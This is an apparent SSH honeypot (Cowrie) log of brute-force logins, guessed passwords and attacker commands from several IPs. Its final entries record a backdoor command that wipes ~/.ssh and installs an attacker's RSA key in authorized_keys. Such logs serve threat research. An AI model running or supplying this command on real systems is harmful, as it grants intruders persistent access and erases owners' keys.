{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:57.973755Z","src_ip":"185.196.10.227","session":"8b833393fb33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yan","password":"Yan123","message":"login attempt [yan/Yan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:58.443603Z","src_ip":"185.196.10.227","session":"8b833393fb33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:04:59.555070Z","src_ip":"185.196.10.227","session":"8b833393fb33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":33552,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcfa5eb32480","protocol":"ssh","message":"New connection: 162.120.6.20:33552 (159.203.135.109:22) [session: fcfa5eb32480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:35.622464Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:35.695050Z","src_ip":"162.120.6.20","session":"fcfa5eb32480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":33566,"dst_ip":"159.203.135.109","dst_port":22,"session":"891e85c831cf","protocol":"ssh","message":"New connection: 162.120.6.20:33566 (159.203.135.109:22) [session: 891e85c831cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:35.761883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:35.765679Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:35.835450Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qwe123QWE!@#","message":"login attempt [root/qwe123QWE!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:36.051937Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:36.231406Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:36.234743Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:36.308225Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:36.312644Z","src_ip":"162.120.6.20","session":"891e85c831cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44774,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9a0eb82c55a","protocol":"ssh","message":"New connection: 2.57.122.208:44774 (159.203.135.109:22) [session: f9a0eb82c55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:48.314682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:48.320038Z","src_ip":"2.57.122.208","session":"f9a0eb82c55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:48.457344Z","src_ip":"2.57.122.208","session":"f9a0eb82c55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:48.820646Z","src_ip":"2.57.122.208","session":"f9a0eb82c55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55854,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa2713f1ecd9","protocol":"ssh","message":"New connection: 195.178.110.218:55854 (10.17.0.5:22) [session: fa2713f1ecd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:49.460580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:49.465189Z","src_ip":"195.178.110.218","session":"fa2713f1ecd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:49.544771Z","src_ip":"195.178.110.218","session":"fa2713f1ecd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:49.784769Z","src_ip":"195.178.110.218","session":"fa2713f1ecd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:49.955398Z","src_ip":"2.57.122.208","session":"f9a0eb82c55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:05:50.866555Z","src_ip":"195.178.110.218","session":"fa2713f1ecd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46816,"dst_ip":"159.203.135.109","dst_port":22,"session":"04a47be09545","protocol":"ssh","message":"New connection: 92.118.39.92:46816 (159.203.135.109:22) [session: 04a47be09545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:19.821673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:19.824944Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:19.988618Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"test123","message":"login attempt [root/test123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:20.304475Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:20.555674Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:20.557867Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:20.659418Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:20.663478Z","src_ip":"92.118.39.92","session":"04a47be09545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":40940,"dst_ip":"159.203.135.109","dst_port":22,"session":"d112af0ff1a5","protocol":"ssh","message":"New connection: 185.196.10.227:40940 (159.203.135.109:22) [session: d112af0ff1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:38.457264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:38.461428Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:38.574924Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":58866,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e66025608ad","protocol":"ssh","message":"New connection: 103.234.53.173:58866 (159.203.135.109:22) [session: 3e66025608ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:38.824908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:38.908109Z","src_ip":"103.234.53.173","session":"3e66025608ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.121886Z","src_ip":"103.234.53.173","session":"3e66025608ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abcqwe123","message":"login attempt [root/Abcqwe123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.133067Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.381786Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.383979Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.386291Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.501757Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.796092Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:06:39.798813Z","src_ip":"185.196.10.227","session":"d112af0ff1a5","protocol":"ssh"}
